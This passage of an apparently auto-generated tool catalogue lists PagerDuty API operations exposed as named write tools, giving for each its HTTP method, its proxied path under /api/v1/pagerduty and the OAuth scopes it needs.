POST /analytics/raw/incidents POST /api/v1/pagerduty/analytics/raw/incidents. Scopes: analytics.read. pagerduty_post_analytics_raw_responders_by_responder_id_incidents (write) — Get analytics responder incidents via POST /analytics/raw/responders/{responder_id}/incidents POST /api/v1/pagerduty/analytics/raw/responders/{responder_id}/incidents. Scopes: analytics.read. pagerduty_post_analytics_raw_users (write) — Get analytics users via POST /analytics/raw/users POST /api/v1/pagerduty/analytics/raw/users. Scopes: analytics.read. pagerduty_post_automation_actions_actions (write) — Create automation action via POST /automation_actions/actions POST /api/v1/pagerduty/automation_actions/actions. Scopes: none. pagerduty_post_automation_actions_actions_by_id_invocations (write) — Create automation action invocation via POST /automation_actions/actions/{id}/invocations POST /api/v1/pagerduty/automation_actions/actions/{id}/invocations. Scopes: none. pagerduty_post_automation_actions_actions_by_id_services (write) — Create automation action service assocation via POST /automation_actions/actions/{id}/services POST /api/v1/pagerduty/automation_actions/actions/{id}/services. Scopes: none. pagerduty_post_automation_actions_actions_by_id_teams (write) — Create automation action team association via POST /automation_actions/actions/{id}/teams POST /api/v1/pagerduty/automation_actions/actions/{id}/teams. Scopes: none. pagerduty_post_automation_actions_runners (write) — Create automation actions runner via POST /automation_actions/runners POST /api/v1/pagerduty/automation_actions/runners. Scopes: none. pagerduty_post_automation_actions_runners_by_id_teams (write) — Create automation actions runner team association via POST /automation_actions/runners/{id}/teams POST /api/v1/pagerduty/automation_actions/runners/{id}/teams. Scopes: none. pagerduty_post_business_services (write) — Create business service via POST /business_services POST /api/v1/pagerduty/business_services. Scopes: services.write. pagerduty_post_business_services_by_id_account_subscription (write) — Create business service account subscription via POST /business_services/{id}/account_subscription POST /api/v1/pagerduty/business_services/{id}/account_subscription. Scopes: subscribers.write. pagerduty_post_business_services_by_id_subscribers (write) — Create business service notification subscribers via POST /business_services/{id}/subscribers POST /api/v1/pagerduty/business_services/{id}/subscribers. Scopes: subscribers.write. pagerduty_post_business_services_by_id_unsubscribe (write) — Remove business service notification subscriber via POST /business_services/{id}/unsubscribe POST /api/v1/pagerduty/business_services/{id}/unsubscribe. Scopes: subscribers.write. pagerduty_post_by_entity_type_by_id_change_tags (write) — Create entity type by id change tags via POST /{entity_type}/{id}/change_tags POST /api/v1/pagerduty/{entity_type}/{id}/change_tags. Scopes: tags.write. pagerduty_post_change_events (write) — Create change event via POST /change_events POST /api/v1/pagerduty/change_events. Scopes: none. pagerduty_post_enrichment_event_enrichments (write) — Create event enrichment via POST /enrichment/event_enrichments POST /api/v1/pagerduty/enrichment/event_enrichments. Scopes: none. pagerduty_post_enrichment_event_enrichments_by_id_associations (write) — Add event enrichment associations via POST /enrichment/event_enrichments/{id}/associations POST /api/v1/pagerduty/enrichment/event_enrichments/{id}/associations. Scopes: none. pagerduty_post_enrichment_integrations_servicenow (write) — Create service now integration via POST /enrichment/integrations/servicenow POST /api/v1/pagerduty/enrichment/integrations/servicenow. Scopes: contextual_data.write. pagerduty_post_enrichment_integrations_servicenow_by_integration_id_tables (write) — Add service now table via POST /enrichment/integrations/servicenow/{integration_id}/tables POST /api/v1/pagerduty/enrichment/integrations/servicenow/{integration_id}/tables. Scopes: contextual_data.write. pagerduty_post_enrichment_integrations_servicenow_by_integration_id_tables_by_table_id_enable (write) — Enable service now table sync via POST /enrichment/integrations/servicenow/{integration_id}/tables/{table_id}/enable POST /api/v1/pagerduty/enrichment/integrations/servicenow/{integration_id}/tables/{table_id}/enable. Scopes: contextual_data.write. pagerduty_post_enrichment_integrations_servicenow_credentials (write) — Create service now credentials via POST /enrichment/integrations/servicenow/credentials POST /api/v1/pagerduty/enrichment/integrations/servicenow/credentials. Scopes: contextual_data.write. pagerduty_post_enrichment_query (write) — Query enrichment data via POST /enrichment/query POST /api/v1/pagerduty/enrichment/query. Scopes: contextual_data.read. pagerduty_post_escalation_policies (write) — Create escalation policy via POST /escalation_policies POST /api/v1/pagerduty/escalation_policies. Scopes: escalation_policies.write. pagerduty_post_event_orchestrations (write) — Post orchestration via POST /event_orchestrations POST /api/v1/pagerduty/event_orchestrations. Scopes: event_orchestrations.write. pagerduty_post_event_orchestrations_by_id_cache_variables (write) — Create cache var on global orch via POST /event_orchestrations/{id}/cache_variables POST /api/v1/pagerduty/event_orchestrations/{id}/cache_variables. Scopes: event_orchestrations.write. pagerduty_post_event_orchestrations_by_id_integrations (write) — Post orchestration integration via POST /event_orchestrations/{id}/integrations POST /api/v1/pagerduty/event_orchestrations/{id}/integrations. Scopes: event_orchestrations.write. pagerduty_post_event_orchestrations_by_id_integrations_migration (write) — Migrate orchestration integration via POST /event_orchestrations/{id}/integrations/migration POST /api/v1/pagerduty/event_orchestrations/{id}/integrations/migration. Scopes: event_orchestrations.write. pagerduty_post_event_orchestrations_services_by_service_id_cache_variables (write) — Create cache var on service orch via POST /event_orchestrations/services/{service_id}/cache_variables POST /api/v1/pagerduty/event_orchestrations/services/{service_id}/cache_variables. Scopes: services.write. pagerduty_post_extensions (write) — Create extension via POST /extensions POST /api/v1/pagerduty/extensions. Scopes: extensions.write. pagerduty_post_extensions_by_id_enable (write) — Enable extension via POST /extensions/{id}/enable POST /api/v1/pagerduty/extensions/{id}/enable. Scopes: extensions.write. pagerduty_post_incident_workflows (write) — Post incident workflow via POST /incident_workflows POST /api/v1/pagerduty/incident_workflows. Scopes: incident_workflows.write. pagerduty_post_incident_workflows_by_id_instances (write) — Create incident workflow instance via POST /incident_workflows/{id}/instances POST /api/v1/pagerduty/incident_workflows/{id}/instances. Scopes: incident_workflows:instances.write. pagerduty_post_incident_workflows_triggers (write) — Create incident workflow trigger via POST /incident_workflows/triggers POST /api/v1/pagerduty/incident_workflows/triggers. Scopes: incident_workflows.write. pagerduty_post_incident_workflows_triggers_by_id_services (write) — Associate service to incident workflow trigger via POST /incident_workflows/triggers/{id}/services POST /api/v1/pagerduty/incident_workflows/triggers/{id}/services. Scopes: incident_workflows.write. pagerduty_post_incidents (write) — Create incident via POST /incidents POST /api/v1/pagerduty/incidents. Scopes: incidents.write. pagerduty_post_incidents_by_id_notes (write) — Create incident note via POST /incidents/{id}/notes POST /api/v1/pagerduty/incidents/{id}/notes. Scopes: incidents.write. pagerduty_post_incidents_by_id_responder_requests (write) — Create incident responder request via POST /incidents/{id}/responder_requests POST /api/v1/pagerduty/incidents/{id}/responder_requests. Scopes: incidents.write. pagerduty_post_incidents_by_id_snooze (write) — Create incident snooze via POST /incidents/{id}/snooze POST /api/v1/pagerduty/incidents/{id}/snooze. Scopes: incidents.write. pagerduty_post_incidents_by_id_status_updates (write) — Create incident status update via POST /incidents/{id}/status_updates POST /api/v1/pagerduty/incidents/{id}/status_updates. Scopes: incidents.write. pagerduty_post_incidents_by_id_status_updates_subscribers (write) — Create incident notification subscribers via POST /incidents/{id}/status_updates/subscribers POST /api/v1/pagerduty/incidents/{id}/status_updates/subscribers. Scopes: subscribers.write. pagerduty_post_incidents_by_id_status_updates_unsubscribe (write) — Remove incident notification subscribers via POST /incidents/{id}/status_updates/unsubscribe POST /api/v1/pagerduty/incidents/{id}/status_updates/unsubscribe. Scopes: subscribers.write. pagerduty_post_incidents_custom_fields (write) — Create custom fields field via POST /incidents/custom_fields POST /api/v1/pagerduty/incidents/custom_fields. Scopes: custom_fields.write. pagerduty_post_incidents_custom_fields_by_field_id_field_options (write) — Create custom fields field option via POST /incidents/custom_fields/{field_id}/field_options POST /api/v1/pagerduty/incidents/custom_fields/{field_id}/field_options. Scopes: custom_fields.write. pagerduty_post_incidents_types (write) — Create incident type via POST /incidents/types POST /api/v1/pagerduty/incidents/types. Scopes: incident_types.write. pagerduty_post_incidents_types_by_type_id_or_name_custom_fields (write) — Create incident type custom field via POST /incidents/types/{type_id_or_name}/custom_fields POST /api/v1/pagerduty/incidents/types/{type_id_or_name}/custom_fields. Scopes: custom_fields.write. pagerduty_post_incidents_types_by_type_id_or_name_custom_fields_by_field_id_field_options (write) — Create incident type custom field field options via POST /incidents/types/{type_id_or_name}/custom_fields/{field_id}/field_options POST /api/v1/pagerduty/incidents/types/{type_id_or_name}/custom_fields/{field_id}/field_options. Scopes: custom_fields.write. pagerduty_post_ip_allow_lists (write) — Create ip allow list via POST /ip_allow_lists POST /api/v1/pagerduty/ip_allow_lists. Scopes: ip_allow_lists.write. pagerduty_post_maintenance_windows (write) — Create maintenance window via POST /maintenance_windows POST /api/v1/pagerduty/maintenance_windows. Scopes: services.write. pagerduty_post_recommendations_event_orchestrations_services_by_service_id_rules_by_recommendation_id_accept (write) — Accept recommended rule via POST /recommendations/event_orchestrations/services/{service_id}/rules/{recommendation_id}/accept POST /api/v1/pagerduty/recommendations/event_orchestrations/services/{service_id}/rules/{recommendation_id}/accept. Scopes: recommendations.write. pagerduty_post_recommendations_event_orchestrations_services_by_service_id_rules_by_recommendation_id_dismiss (write) — Dismiss recommended rule via POST /recommendations/event_orchestrations/services/{service_id}/rules/{recommendation_id}/dismiss POST /api/v1/pagerduty/recommendations/event_orchestrations/services/{service_id}/rules/{recommendation_id}/dismiss. Scopes: recommendations.write. pagerduty_post_rulesets (write) — Create ruleset via POST /rulesets POST /api/v1/pagerduty/rulesets. Scopes: event_rules.write. pagerduty_post_rulesets_by_id_rules (write) — Create ruleset event rule via POST /rulesets/{id}/rules POST /api/v1/pagerduty/rulesets/{id}/rules. Scopes: event_rules.write. pagerduty_post_schedules (write) — Create schedule via POST /schedules POST /api/v1/pagerduty/schedules. Scopes: schedules.write. pagerduty_post_schedules_by_id_overrides (write) — Create schedule override via POST /schedules/{id}/overrides POST /api/v1/pagerduty/schedules/{id}/overrides. Scopes: schedules.write. pagerduty_post_schedules_preview (write) — Create schedule preview via POST /schedules/preview POST /api/v1/pagerduty/schedules/preview. Scopes: schedules.write. pagerduty_post_service_dependencies_associate (write) — Create service dependency via POST /service_dependencies/associate POST /api/v1/pagerduty/service_dependencies/associate. Scopes: services.write. pagerduty_post_service_dependencies_disassociate (write) — Delete service dependency via POST /service_dependencies/disassociate POST /api/v1/pagerduty/service_dependencies/disassociate. Scopes: services.write. pagerduty_post_services (write) — Create service via POST /services POST /api/v1/pagerduty/services. Scopes: services.write. pagerduty_post_services_by_id_integrations (write) — Create service integration via POST /services/{id}/integrations POST /api/v1/pagerduty/services/{id}/integrations. Scopes: services.write. pagerduty_post_services_by_id_rules (write) — Create service event rule via POST /services/{id}/rules POST /api/v1/pagerduty/services/{id}/rules. Scopes: services.write. pagerduty_post_services_by_id_rules_convert (write) — Convert service event rules to event orchestration via POST /services/{id}/rules/convert POST /api/v1/pagerduty/services/{id}/rules/convert. Scopes: services.write. pagerduty_post_services_custom_fields (write) — Create service custom field via POST /services/custom_fields POST /api/v1/pagerduty/services/custom_fields. Scopes: custom_fields.write. pagerduty_post_services_custom_fields_by_field_id_field_options (write) — Create service custom field option via POST /services/custom_fields/{field_id}/field_options POST /api/v1/pagerduty/services/custom_fields/{field_id}/field_options. Scopes: custom_fields.write. pagerduty_post_status_pages_by_id_posts (write) — Create status page post via POST /status_pages/{id}/posts POST /api/v1/pagerduty/status_pages/{id}/posts. Scopes: status_pages.write. pagerduty_post_status_pages_by_id_posts_by_post_id_post_updates (write) — Create status page post update via POST /status_pages/{id}/posts/{post_id}/post_updates POST /api/v1/pagerduty/status_pages/{id}/posts/{post_id}/post_updates. Scopes: status_pages.write. pagerduty_post_status_pages_by_id_subscriptions (write) — Create status page subscription via POST /status_pages/{id}/subscriptions POST /api/v1/pagerduty/status_pages/{id}/subscriptions. Scopes: status_pages.write. pagerduty_post_tags (write) — Create tags via POST /tags POST /api/v1/pagerduty/tags. Scopes: tags.write. pagerduty_post_teams (write) — Create team via POST /teams POST /api/v1/pagerduty/teams. Scopes: teams.write. pagerduty_post_teams_by_id_notification_subscriptions (write) — Create team notification subscriptions via POST /teams/{id}/notification_subscriptions POST /api/v1/pagerduty/teams/{id}/notification_subscriptions. Scopes: subscribers.write. pagerduty_post_teams_by_id_notification_subscriptions_unsubscribe (write) — Remove team notification subscriptions via POST /teams/{id}/notification_subscriptions/unsubscribe POST /api/v1/pagerduty/teams/{id}/notification_subscriptions/unsubscribe. Scopes: subscribers.write. pagerduty_post_templates (write) — Create template via POST /templates POST /api/v1/pagerduty/templates. Scopes: templates.write. pagerduty_post_templates_by_id_render (write) — Render template via POST /templates/{id}/render POST /api/v1/pagerduty/templates/{id}/render. Scopes: templates.read. pagerduty_post_users (write) — Create user via POST /users POST /api/v1/pagerduty/users. Scopes: users.write. pagerduty_post_users_by_id_contact_methods (write) — Create user contact method via POST /users/{id}/contact_methods POST /api/v1/pagerduty/users/{id}/contact_methods. Scopes: users:contact_methods.write. pagerduty_post_users_by_id_notification_rules (write) — Create user notification rule via POST /users/{id}/notification_rules POST /api/v1/pagerduty/users/{id}/notification_rules. Scopes: users:contact_methods.write. pagerduty_post_users_by_id_notification_subscriptions (write) — Create user notification subscriptions via POST /users/{id}/notification_subscriptions POST /api/v1/pagerduty/users/{id}/notification_subscriptions. Scopes: subscribers.write. pagerduty_post_users_by_id_notification_subscriptions_unsubscribe (write) — Unsubscribe user notification subscriptions via POST /users/{id}/notification_subscriptions/unsubscribe POST /api/v1/pagerduty/users/{id}/notification_subscriptions/unsubscribe. Scopes: subscribers.write. pagerduty_post_users_by_id_oncall_handoff_notification_rules (write) — Create user handoff notification rule via POST /users/{id}/oncall_handoff_notification_rules POST /api/v1/pagerduty/users/{id}/oncall_handoff_notification_rules. Scopes: users.write. pagerduty_post_users_by_id_regenerate_private_url_key (write) — Regenerate user private url key via POST /users/{id}/regenerate_private_url_key POST /api/v1/pagerduty/users/{id}/regenerate_private_url_key. Scopes: users.write. pagerduty_post_users_by_id_status_update_notification_rules (write) — Create user status update notification rule via POST /users/{id}/status_update_notification_rules POST /api/v1/pagerduty/users/{id}/status_update_notification_rules. Scopes: users.write. pagerduty_post_v3_schedules (write) — Create schedule v3 via POST /v3/schedules POST /api/v1/pagerduty/v3/schedules. Scopes: none. pagerduty_post_v3_schedules_by_id_custom_shifts (write) — Create custom shifts via POST /v3/schedules/{id}/custom_shifts POST /api/v1/pagerduty/v3/schedules/{id}/custom_shifts. Scopes: none. pagerduty_post_v3_schedules_by_id_overrides (write) — Create overrides via POST /v3/schedules/{id}/overrides POST /api/v1/pagerduty/v3/schedules/{id}/overrides. Scopes: none. pagerduty_post_v3_schedules_by_id_rotations (write) — Create rotation via POST /v3/schedules/{id}/rotations POST /api/v1/pagerduty/v3/schedules/{id}/rotations. Scopes: none. pagerduty_post_v3_schedules_by_id_rotations_by_rotation_id_events (write) — Create event via POST /v3/schedules/{id}/rotations/{rotation_id}/events POST /api/v1/pagerduty/v3/schedules/{id}/rotations/{rotation_id}/events. Scopes: none. pagerduty_post_webhook_subscriptions (write) — Create webhook subscription via POST /webhook_subscriptions POST /api/v1/pagerduty/webhook_subscriptions. Scopes: webhook_subscriptions.write. pagerduty_post_webhook_subscriptions_by_id_enable (write) — Enable webhook subscription via POST /webhook_subscriptions/{id}/enable POST /api/v1/pagerduty/webhook_subscriptions/{id}/enable. Scopes: webhook_subscriptions.write. pagerduty_post_webhook_subscriptions_by_id_ping (write) — Test webhook subscription via POST /webhook_subscriptions/{id}/ping POST /api/v1/pagerduty/webhook_subscriptions/{id}/ping. Scopes: webhook_subscriptions.write. pagerduty_post_webhook_subscriptions_oauth_clients (write) — Create oauth client via POST /webhook_subscriptions/oauth_clients POST /api/v1/pagerduty/webhook_subscriptions/oauth_clients. Scopes: none. pagerduty_post_workflows_integrations_by_integration_id_connections (write) — Create workflow integration connection via POST /workflows/integrations/{integration_id}/connections POST /api/v1/pagerduty/workflows/integrations/{integration_id}/connections. Scopes: workflow_integrations:connections.write. pagerduty_put_addons_by_id (write) — Update addon via PUT /addons/{id} PUT /api/v1/pagerduty/addons/{id}. Scopes: addons.write. pagerduty_put_alert_grouping_settings_by_id (write) — Put alert grouping setting via PUT /alert_grouping_settings/{id} PUT /api/v1/pagerduty/alert_grouping_settings/{id}. Scopes: services.write. pagerduty_put_automation_actions_actions_by_id (write) — Update automation action via PUT /automation_actions/actions/{id} PUT /api/v1/pagerduty/automation_actions/actions/{id}. Scopes: none. pagerduty_put_automation_actions_runners_by_id (write) — Update automation actions runner via PUT /automation_actions/runners/{id} PUT /api/v1/pagerduty/automation_actions/runners/{id}. Scopes: none. pagerduty_put_business_services_by_id (write) — Update business service via PUT /business_services/{id} PUT /api/v1/pagerduty/business_services/{id}. Scopes: services.write. pagerduty_put_business_services_priority_thresholds (write) — Put business service priority thresholds via PUT /business_services/priority_thresholds PUT /api/v1/pagerduty/business_services/priority_thresholds. Scopes: services.write. pagerduty_put_change_events_by_id (write) — Update change event via PUT /change_events/{id} PUT /api/v1/pagerduty/change_events/{id}. Scopes: change_events.write. pagerduty_put_enrichment_event_enrichments_by_id (write) — Update event enrichment via PUT /enrichment/event_enrichments/{id} PUT /api/v1/pagerduty/enrichment/event_enrichments/{id}. Scopes: none. pagerduty_put_enrichment_event_enrichments_by_id_rules (write) — Update event enrichment rules via PUT /enrichment/event_enrichments/{id}/rules PUT /api/v1/pagerduty/enrichment/event_enrichments/{id}/rules. Scopes: none. pagerduty_put_enrichment_event_enrichments_default (write) — Mark event enrichment as default via PUT /enrichment/event_enrichments/default PUT /api/v1/pagerduty/enrichment/event_enrichments/default. Scopes: none. pagerduty_put_enrichment_integrations_servicenow_by_integration_id_tables_by_table_id (write) — Update service now table via PUT /enrichment/integrations/servicenow/{integration_id}/tables/{table_id} PUT /api/v1/pagerduty/enrichment/integrations/servicenow/{integration_id}/tables/{table_id}. Scopes: contextual_data.write. pagerduty_put_enrichment_integrations_servicenow_credentials_by_credentials_id (write) — Update service now credentials via PUT /enrichment/integrations/servicenow/credentials/{credentials_id} PUT /api/v1/pagerduty/enrichment/integrations/servicenow/credentials/{credentials_id}. Scopes: contextual_data.write. pagerduty_put_enrichment_schemas_by_schema_id (write) — Update enrichment schema via PUT /enrichment/schemas/{schema_id} PUT /api/v1/pagerduty/enrichment/schemas/{schema_id}. Scopes: contextual_data.write. pagerduty_put_escalation_policies_by_id (write) — Update escalation policy via PUT /escalation_policies/{id} PUT /api/v1/pagerduty/escalation_policies/{id}. Scopes: escalation_policies.write. pagerduty_put_event_orchestrations_by_id (write) — Update orchestration via PUT /event_orchestrations/{id} PUT /api/v1/pagerduty/event_orchestrations/{id}. Scopes: event_orchestrations.write. pagerduty_put_event_orchestrations_by_id_cache_variables_by_cache_variable_id (write) — Update cache var on global orch via PUT /event_orchestrations/{id}/cache_variables/{cache_variable_id} PUT /api/v1/pagerduty/event_orchestrations/{id}/cache_variables/{cache_variable_id}. Scopes: event_orchestrations.write. pagerduty_put_event_orchestrations_by_id_cache_variables_by_cache_variable_id_data (write) — Update external data cache var data on global orch via PUT /event_orchestrations/{id}/cache_variables/{cache_variable_id}/data PUT /api/v1/pagerduty/event_orchestrations/{id}/cache_variables/{cache_variable_id}/data. Scopes: event_orchestrations.write. pagerduty_put_event_orchestrations_by_id_enablements_by_feature_name (write) — Update event orchestration feature enablements via PUT /event_orchestrations/{id}/enablements/{feature_name} PUT /api/v1/pagerduty/event_orchestrations/{id}/enablements/{feature_name}. Scopes: event_orchestrations.write. pagerduty_put_event_orchestrations_by_id_global (write) — Update orch path global via PUT /event_orchestrations/{id}/global PUT /api/v1/pagerduty/event_orchestrations/{id}/global. Scopes: event_orchestrations.write. pagerduty_put_event_orchestrations_by_id_integrations_by_integration_id (write) — Update orchestration integration via PUT /event_orchestrations/{id}/integrations/{integration_id} PUT /api/v1/pagerduty/event_orchestrations/{id}/integrations/{integration_id}. Scopes: event_orchestrations.write. pagerduty_put_event_orchestrations_by_id_router (write) — Update orch path router via PUT /event_orchestrations/{id}/router PUT /api/v1/pagerduty/event_orchestrations/{id}/router. Scopes: event_orchestrations.write. pagerduty_put_event_orchestrations_by_id_unrouted (write) — Update orch path unrouted via PUT /event_orchestrations/{id}/unrouted PUT /api/v1/pagerduty/event_orchestrations/{id}/unrouted. Scopes: event_orchestrations.write. pagerduty_put_event_orchestrations_services_by_service_id (write) — Update orch path service via PUT /event_orchestrations/services/{service_id} PUT /api/v1/pagerduty/event_orchestrations/services/{service_id}. Scopes: services.write. pagerduty_put_event_orchestrations_services_by_service_id_active (write) — Update orch active status via PUT /event_orchestrations/services/{service_id}/active PUT /api/v1/pagerduty/event_orchestrations/services/{service_id}/active. Scopes: services.write. pagerduty_put_event_orchestrations_services_by_service_id_cache_variables_by_cache_variable_id (write) — Update cache var on service orch via PUT /event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id} PUT /api/v1/pagerduty/event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id}. Scopes: services.write. pagerduty_put_event_orchestrations_services_by_service_id_cache_variables_by_cache_variable_id_data (write) — Update external data cache var data on service orch via PUT /event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id}/data PUT /api/v1/pagerduty/event_orchestrations/services/{service_id}/cache_variables/{cache_variable_id}/data. Scopes: services.write. pagerduty_put_extensions_by_id (write) — Update extension via PUT /extensions/{id} PUT /api/v1/pagerduty/extensions/{id}. Scopes: extensions.write. pagerduty_put_incident_workflows_by_id (write) — Put incident workflow via PUT /incident_workflows/{id} PUT /api/v1/pagerduty/incident_workflows/{id}. Scopes: incident_workflows.write. pagerduty_put_incident_workflows_triggers_by_id (write) — Update incident workflow trigger via PUT /incident_workflows/triggers/{id} PUT /api/v1/pagerduty/incident_workflows/triggers/{id}. Scopes: incident_workflows.write. pagerduty_put_incidents (write) — Update incidents via PUT /incidents PUT /api/v1/pagerduty/incidents. Scopes: incidents.write. pagerduty_put_incidents_by_id (write) — Update incident via PUT /incidents/{id} PUT /api/v1/pagerduty/incidents/{id}. Scopes: incidents.write. pagerduty_put_incidents_by_id_alerts (write) — Update incident alerts via PUT /incidents/{id}/alerts PUT /api/v1/pagerduty/incidents/{id}/alerts. Scopes: incidents.write. pagerduty_put_incidents_by_id_alerts_by_alert_id (write) — Update incident alert via PUT /incidents/{id}/alerts/{alert_id} PUT /api/v1/pagerduty/incidents/{id}/alerts/{alert_id}. Scopes: incidents.write. pagerduty_put_incidents_by_id_business_services_by_business_service_id_impacts (write) — Put incident manual business service association via PUT /incidents/{id}/business_services/{business_service_id}/impacts PUT /api/v1/pagerduty/incidents/{id}/business_services/{business_service_id}/impacts. Scopes: incidents.write. pagerduty_put_incidents_by_id_custom_fields_values (write) — Set incident field values via PUT /incidents/{id}/custom_fields/values PUT /api/v1/pagerduty/incidents/{id}/custom_fields/values. Scopes: incidents.write. pagerduty_put_incidents_by_id_merge (write) — Merge incidents via PUT /incidents/{id}/merge PUT /api/v1/pagerduty/incidents/{id}/merge. Scopes: incidents.write. pagerduty_put_incidents_by_id_notes_by_note_id (write) — Update incident note via PUT /incidents/{id}/notes/{note_id} PUT /api/v1/pagerduty/incidents/{id}/notes/{note_id}. Scopes: incidents.write. pagerduty_put_incidents_by_id_responder_requests_cancel (write) — Cancel incident responder request via PUT /incidents/{id}/responder_requests/cancel PUT /api/v1/pagerduty/incidents/{id}/responder_requests/cancel. Scopes: incidents.write. pagerduty_put_incidents_custom_fields_by_field_id (write) — Update custom fields field via PUT /incidents/custom_fields/{field_id} PUT /api/v1/pagerduty/incidents/custom_fields/{field_id}. Scopes: custom_fields.write. pagerduty_put_incidents_custom_fields_by_field_id_field_options_by_field_option_id (write) — Update custom fields field option via PUT /incidents/custom_fields/{field_id}/field_options/{field_option_id} PUT /api/v1/pagerduty/incidents/custom_fields/{field_id}/field_options/{field_option_id}. Scopes: custom_fields.write. pagerduty_put_incidents_types_by_type_id_or_name (write) — Update incident type via PUT /incidents/types/{type_id_or_name} PUT /api/v1/pagerduty/incidents/types/{type_id_or_name}. Scopes: incident_types.write. pagerduty_put_incidents_types_by_type_id_or_name_custom_fields_by_field_id (write) — Update incident type custom field via PUT /incidents/types/{type_id_or_name}/custom_fields/{field_id} PUT /api/v1/pagerduty/incidents/types/{type_id_or_name}/custom_fields/{field_id}. Scopes: custom_fields.write. pagerduty_put_incidents_types_by_type_id_or_name_custom_fields_by_field_id_field_options_by_field_option_id (write) — Update incident type custom field field option via PUT /incidents/types/{type_id_or_name}/custom_fields/{field_id}/field_options/{field_option_id} PUT /api/v1/pagerduty/incidents/types/{type_id_or_name}/custom_fields/{field_id}/field_options/{field_option_id}. Scopes: custom_fields.write. pagerduty_put_ip_allow_lists_by_id (write) — Update ip allow list via PUT /ip_allow_lists/{id} PUT /api/v1/pagerduty/ip_allow_lists/{id}. Scopes: ip_allow_lists.write. pagerduty_put_log_entries_by_id_channel (write) — Update log entry channel via PUT /log_entries/{id}/channel PUT /api/v1/pagerduty/log_entries/{id}/channel. Scopes: incidents.write. pagerduty_put_maintenance_windows_by_id (write) — Update maintenance window via PUT /maintenance_windows/{id} PUT /api/v1/pagerduty/maintenance_windows/{id}. Scopes: services.write. pagerduty_put_rulesets_by_id (write) — Update ruleset via PUT /rulesets/{id} PUT /api/v1/pagerduty/rulesets/{id}. Scopes: event_rules.write. pagerduty_put_rulesets_by_id_rules_by_rule_id (write) — Update ruleset event rule via PUT /rulesets/{id}/rules/{rule_id} PUT /api/v1/pagerduty/rulesets/{id}/rules/{rule_id}. Scopes: event_rules.write. pagerduty_put_schedules_by_id (write) — Update schedule via PUT /schedules/{id} PUT /api/v1/pagerduty/schedules/{id}. Scopes: schedules.write. pagerduty_put_services_by_id (write) — Update service via PUT /services/{id} PUT /api/v1/pagerduty/services/{id}. Scopes: services.write. pagerduty_put_services_by_id_custom_fields_values (write) — Update service custom field values via PUT /services/{id}/custom_fields/values PUT /api/v1/pagerduty/services/{id}/custom_fields/values. Scopes: services.write. pagerduty_put_services_by_id_enablements_by_feature_name (write) — Update service feature enablement via PUT /services/{id}/enablements/{feature_name} PUT /api/v1/pagerduty/services/{id}/enablements/{feature_name}. Scopes: services.write. pagerduty_put_services_by_id_integrations_by_integration_id (write) — Update service integration via PUT /services/{id}/integrations/{integration_id} PUT /api/v1/pagerduty/services/{id}/integrations/{integration_id}. Scopes: services.write. pagerduty_put_services_by_id_rules_by_rule_id (write) — Update service event rule via PUT /services/{id}/rules/{rule_id} PUT /api/v1/pagerduty/services/{id}/rules/{rule_id}. Scopes: services.write. pagerduty_put_services_custom_fields_by_field_id (write) — Update service custom field via PUT /services/custom_fields/{field_id} PUT /api/v1/pagerduty/services/custom_fields/{field_id}. Scopes: custom_fields.write. pagerduty_put_services_custom_fields_by_field_id_field_options_by_field_option_id (write) — Update service custom field option via PUT /services/custom_fields/{field_id}/field_options/{field_option_id} PUT /api/v1/pagerduty/services/custom_fields/{field_id}/field_options/{field_option_id}. Scopes: custom_fields.write. pagerduty_put_session_configurations (write) — Update session configurations via PUT /session_configurations PUT /api/v1/pagerduty/session_configurations. Scopes: session_configurations.write. pagerduty_put_standards_by_id (write) — Update standard via PUT /standards/{id} PUT /api/v1/pagerduty/standards/{id}. Scopes: standards.write. pagerduty_put_status_pages_by_id_posts_by_post_id (write) — Update status page post via PUT /status_pages/{id}/posts/{post_id} PUT /api/v1/pagerduty/status_pages/{id}/posts/{post_id}. Scopes: status_pages.write. pagerduty_put_status_pages_by_id_posts_by_post_id_post_updates_by_post_update_id (write) — Update status page post update via PUT /status_pages/{id}/posts/{post_id}/post_updates/{post_update_id} PUT /api/v1/pagerduty/status_pages/{id}/posts/{post_id}/post_updates/{post_update_id}. Scopes: status_pages.write. pagerduty_put_status_pages_by_id_posts_by_post_id_postmortem (write) — Create or update status page postmortem via PUT /status_pages/{id}/posts/{post_id}/postmortem PUT /api/v1/pagerduty/status_pages/{id}/posts/{post_id}/postmortem. Scopes: status_pages.write. pagerduty_put_teams_by_id (write) — Update team via PUT /teams/{id} PUT /api/v1/pagerduty/teams/{id}. Scopes: teams.write. pagerduty_put_teams_by_id_escalation_policies_by_escalation_policy_id (write) — Update team escalation policy via PUT /teams/{id}/escalation_policies/{escalation_policy_id} PUT /api/v1/pagerduty/teams/{id}/escalation_policies/{escalation_policy_id}. Scopes: teams.write. pagerduty_put_teams_by_id_users_by_user_id (write) — Update team user via PUT /teams/{id}/users/{user_id} PUT /api/v1/pagerduty/teams/{id}/users/{user_id}. Scopes: teams.write. pagerduty_put_templates_by_id (write) — Update template via PUT /templates/{id} PUT /api/v1/pagerduty/templates/{id}. Scopes: templates.write. pagerduty_put_users_by_id (write) — Update user via PUT /users/{id} PUT /api/v1/pagerduty/users/{id}. Scopes: users.write. pagerduty_put_users_by_id_contact_methods_by_contact_method_id (write) — Update user contact method via PUT /users/{id}/contact_methods/{contact_method_id} PUT /api/v1/pagerduty/users/{id}/contact_methods/{contact_method_id}. Scopes: users:contact_methods.write. pagerduty_put_users_by_id_notification_rules_by_notification_rule_id (write) — Update user notification rule via PUT /users/{id}/notification_rules/{notification_rule_id} PUT /api/v1/pagerduty/users/{id}/notification_rules/{notification_rule_id}. Scopes: users:contact_methods.write. pagerduty_put_users_by_id_oncall_handoff_notification_rules_by_oncall_handoff_notification_rule_id (write) — Update user handoff notification via PUT /users/{id}/oncall_handoff_notification_rules/{oncall_handoff_notification_rule_id} PUT /api/v1/pagerduty/users/{id}/oncall_handoff_notification_rules/{oncall_handoff_notification_rule_id}. Scopes: users.write. pagerduty_put_users_by_id_status_update_notification_rules_by_status_update_notification_rule_id (write) — Update user status update notification rule via PUT /users/{id}/status_update_notification_rules/{status_update_notification_rule_id} PUT /api/v1/pagerduty/users/{id}/status_update_notification_rules/{status_update_notification_rule_id}. Scopes: users.write. pagerduty_put_v3_schedules_by_id (write) — Update schedule v3 via PUT /v3/schedules/{id} PUT /api/v1/pagerduty/v3/schedules/{id}. Scopes: none. pagerduty_put_v3_schedules_by_id_custom_shifts_by_custom_shift_id (write) — Update custom shift via PUT 